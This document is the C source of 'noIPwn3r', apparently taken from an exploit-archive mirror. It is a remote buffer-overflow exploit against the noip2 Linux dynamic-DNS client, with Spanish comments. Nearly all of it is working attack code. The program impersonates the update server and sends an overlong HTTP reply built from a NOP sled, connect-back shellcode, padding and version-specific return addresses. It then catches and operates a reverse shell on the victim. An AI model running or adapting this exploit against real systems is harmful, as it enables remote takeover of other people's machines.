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exploit-db-mirror/exploits/linux/remote/7151.c
Offensive Security d304cc3d3e DB: 2017-11-24 
116602 new exploits

Too many to list!
2017-11-24 20:56:23 +00:00

276 lines
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8.2 KiB
C
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/*
_ __ __ ___ __
| |/ /__ ____ ____ / |/ /_ __/ /_____ _
| / _ \/ __ \/ __ \/ /|_/ / / / / __/ __ `/
/ / __/ / / / /_/ / / / / /_/ / /_/ /_/ /
/_/|_\___/_/ /_/\____/_/ /_/\__,_/\__/\__,_/
xenomuta [ arroba ] phreaker [ punto ] net
http://xenomuta.tuxfamily.org/ - Methylxantina 256mg
Permlink:
http://xenomuta.tuxfamily.org/exploits/noIPwn3r.c
** noIPwn3r **
Exploit 0-day para el cliente DDNS noip-2.1.7 de linux
Vulnerable: noip2-Linux <= 2.1.7
probado v.s. la version pre-compilada del cliente en
Ubuntu 7.10, Slackware 10.2 y Centos 4.5
probablemente la version 64bits tambien es vulnerable.
El programador confia a ciegas en la respuesta del servidor
y plago el codigo de variables estaticas sin chequeo de size...
Con un DNS envenenado o MITM podemos darle mambo.
saludos a:
4rd3b4r4n, kakata, garay, str0ke y fr1t0l4y
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <assert.h>
#define HTTP_OK "HTTP/1.1 200 OK\r\n\r\n"
#define NOIP_PORT 8245
#define u_char unsigned char
/* Offsets del shellcode x version
* ( ubicalo aproximado con gdb, info addr buffer+32 )
*/
struct OFFSET {
char ver[7];
u_char offset[4];
int padding;
} victima[] = {
"custom", "\xff\xff\xff\xff", 162,
"2.1.7", "\x5d\x1f\x05\x08", 162,
"2.1.3", "\x5f\x12\x05\x08", 162,
"2.1.1", "\xdd\x14\x05\x08", 138,
"\x00", "\x00", 0 };
/* Una cacarita pa que rebale por si acaso */
char guineo[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
char shellcode[] =
// Connect-back IP:puerto - Creditos para izik de tty64.org
"\xb0\x17\x31\xdb\xcd\x80\x6a\x66"
"\x58\x99\x6a\x01\x5b\x52\x53\x6a"
"\x02\x89\xe1\xcd\x80\x5b\x5d\xbe"
"\x80\xff\xff\xfe\xf7\xd6\x56\x66"
"\xbd\x69\x7a\x0f\xcd\x09\xdd\x55"
"\x43\x6a\x10\x51\x50\xb0\x66\x89"
"\xe1\xcd\x80\x87\xd9\x5b\xb0\x3f"
"\xcd\x80\x49\x79\xf9\xb0\x0b\x52"
"\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x53\xeb\xdf";
int uso () {
fprintf(stderr, "Uso:\n ./noIPwn3r <ip escucha> <puerto escucha> [ 0xOFFSET ]\n\n");
fprintf(stderr, " Especifique el IP y puerto donde desea el shell reverso\n");
fprintf(stderr, " Puede usar un Offset arbitrario,\n - ejemplo: 0x08050c20 para la version 2.1.1 compilada en Redhat con gcc 3.4.6-9\n" );
fprintf(stderr, " Si no asigna el offset se usaran los de las versiones oficiales pre-compiladas.\n\n");
return -1;
}
void revshell(int sock, char *ip) {
char *buf;
int flags, i;
long l;
buf = (char *)malloc(1024);
for (i = 0; i <= sock; i++) {
flags = fcntl(i,F_GETFL,0);
assert(flags != -1);
fcntl(i, F_SETFL, flags | O_NONBLOCK);
}
while (1) {
memset(buf, 0, 1024);
if ((buf[0] = getchar()) > 0) {
if ((send(sock, buf, strlen(buf), 0)) < 1) {
break;
}
}
memset(buf, 0, 1024);
if (recv(sock, buf, 1024, 0) > 0) {
write(1, buf, strlen(buf), 0);
fflush(stdout);
i = 1;
} else if (i) {
i = 0;
printf("\nnoIPwn3r@%s$ ", ip);
fflush(stdout);
}
}
printf ("\n-= ADIOS =-\n");
return;
}
int main (int argc, char **argv) {
char *xploit, *ver, *hexmap;
u_char custom[4];
int i, v = 0, port;
// Payola
printf("\n noIPwn3r - xploit para noip-2.1.x linux\n");
printf(" _ __ __ ___ __\n");
printf(" | |/ /__ ____ ____ / |/ /_ __/ /_____ _\n");
printf(" | / _ \\/ __ \\/ __ \\/ /|_/ / / / / __/ __ `/\n");
printf(" / / __/ / / / /_/ / / / / /_/ / /_/ /_/ / \n");
printf(" /_/|_\\___/_/ /_/\\____/_/ /_/\\__,_/\\__/\\__,_/\n\n");
printf(" http://xenomuta.tuxfamily.org - xenomuta%cphreaker.net\n\n", '@');
if (argc < 3)
return uso();
memset(custom, 0, 4);
if (argv[3]) {
if ((strlen(argv[3]) < 10) || (strncmp(argv[3],"0x", 2)))
return fprintf(stderr, "Offset Invalido. Utilize el formato 0x<HEX x 8>\n");
hexmap = (char *)malloc(16);
memset(hexmap, 0, 16);
strcpy(hexmap, "0123456789ABCDEFabcdef");
for (i = 2; i < 10; i++)
if (!strchr(hexmap, argv[3][i]))
return fprintf(stderr, "Offset Invalido. Utilize el formato 0x<HEX x 8>\n");
for (i = 0; i < 4; i++) {
custom[i] = (strchr(hexmap, (argv[3][8-(2*i)] >= 0x61)?argv[3][8-(2*i)] - 32:argv[3][8-(2*i)]) - hexmap) * 16;
custom[i] += (strchr(hexmap, (argv[3][9-(2*i)] >= 0x61)?argv[3][9-(2*i)] - 32:argv[3][9-(2*i)]) - hexmap);
}
strncpy((char *)&victima[0].offset, (char *)&custom, 4);
}
port = atoi(argv[2]);
if ((port < 0)||(port>65535))
return fprintf(stderr, "ERROR: puerto debe ser >= 1 <= 65535\n");
// sockets servidor / cliente
int s, c, len = 16, on = 1;
struct sockaddr_in sa, ca;
sa.sin_addr.s_addr = 0;
sa.sin_port = htons(NOIP_PORT);
sa.sin_family = AF_INET;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
if (bind(s, (struct sockaddr *)&sa, len)) {
fprintf(stderr, "ERROR: bind()\n");
exit(-1);
}
if (listen(s, 5)) {
fprintf(stderr, "ERROR: listen()\n");
exit(-1);
}
// Una IP random cualquiera para forzar el cliente a hacer un update
printf("* Esperando que pregunte cual es su IP...");
fflush(stdout);
c = accept(s, (struct sockaddr *)&ca, (socklen_t *)&len);
printf("OK:\n - Conexion desde %s:%d\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
xploit = (char *)malloc(1024); memset(xploit, 0, 1024);
sprintf(xploit, "%s1.2.%d.%d", HTTP_OK, ((getpid() << 16)%254), (getpid()%254));
// Averigua la version del Cliente
ver = (char *)malloc(1024);
memset(ver, 0, 1024);
recv(c, ver, 1024, 0);
if (!(ver = strstr(ver, "/2") + 1)) { // User-Agent: Linux-DUC/2.X.X
close(c);
close(s);
return fprintf(stderr, "\nERROR: Veriosn no encontrada\n");
}
memset(ver+5, 0, 1);
// Busca los offset de esta version
for (v = 0; (!argv[3]) && strlen(victima[v].ver); v++)
if(!strcmp(victima[v].ver, ver)) break;
if (!victima[v].ver) {
close(c);
close(s);
return fprintf(stderr, "\nERROR: Veriosn no encontrada\n");
}
send(c, xploit, strlen(xploit), 0);
close(c);
// Ahora el fuetazo >;)
printf("* Preparando Exploit v.s. %s @ ", ver);
printf("0x%02x%02x%02x%02x\n", victima[v].offset[3], victima[v].offset[2], victima[v].offset[1], victima[v].offset[0]);
// Setea el puerto en el Shellcode
shellcode[34] = (char )((port >> 8) & 0xff);
shellcode[33] = (char )(port & 0xff);
// Setea la IP de retorno en el Shellcode
unsigned long backip = (inet_addr(argv[1]) ^ 0xffffffff);
*(unsigned long *)(((shellcode)+24)) = (backip);
// Prepara el HTTP reply
memset(xploit, 0, 1024);
sprintf(xploit, "%s<domain =:%s%s", HTTP_OK, guineo, shellcode);
// Completa con basura pal' relleno
for (i = 0; i < victima[v].padding; i++)
strcat(xploit, "\x41");
// Finalmente, trukeame el %EIP
strcat(xploit, (char *)&victima[v].offset);
printf("* Esperando la conexion de update...");
fflush(stdout);
c = accept(s, (struct sockaddr *)&ca, (socklen_t *)&len);
printf("OK:\n - Conexion desde %s:%d\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
send(c, xploit, strlen(xploit), 0);
close(c);
close(s);
printf("* Exploit Enviado!!\n\n");
sa.sin_addr.s_addr = 0;
sa.sin_port = htons(port);
sa.sin_family = AF_INET;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
if (bind(s, (struct sockaddr *)&sa, len)) {
fprintf(stderr, "ERROR: bind()\n");
exit(-1);
}
if (listen(s, 5)) {
fprintf(stderr, "ERROR: listen()\n");
exit(-1);
}
// Una IP random cualquiera para forzar el cliente a hacer un update
printf("* Esperando el shell en %s:%d: ", argv[1], port);
fflush(stdout);
c = accept(s, (struct sockaddr *)&ca, (socklen_t *)&len);
// dup2 y NONBLOCK
printf("OK:\n - Conexion desde %s:%d\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
printf("noIPwn3d!!!!\n\n", inet_ntoa(ca.sin_addr), ca.sin_port);
revshell(c, inet_ntoa(ca.sin_addr));
close(c);
close(s);
}
// milw0rm.com [2008-11-18]
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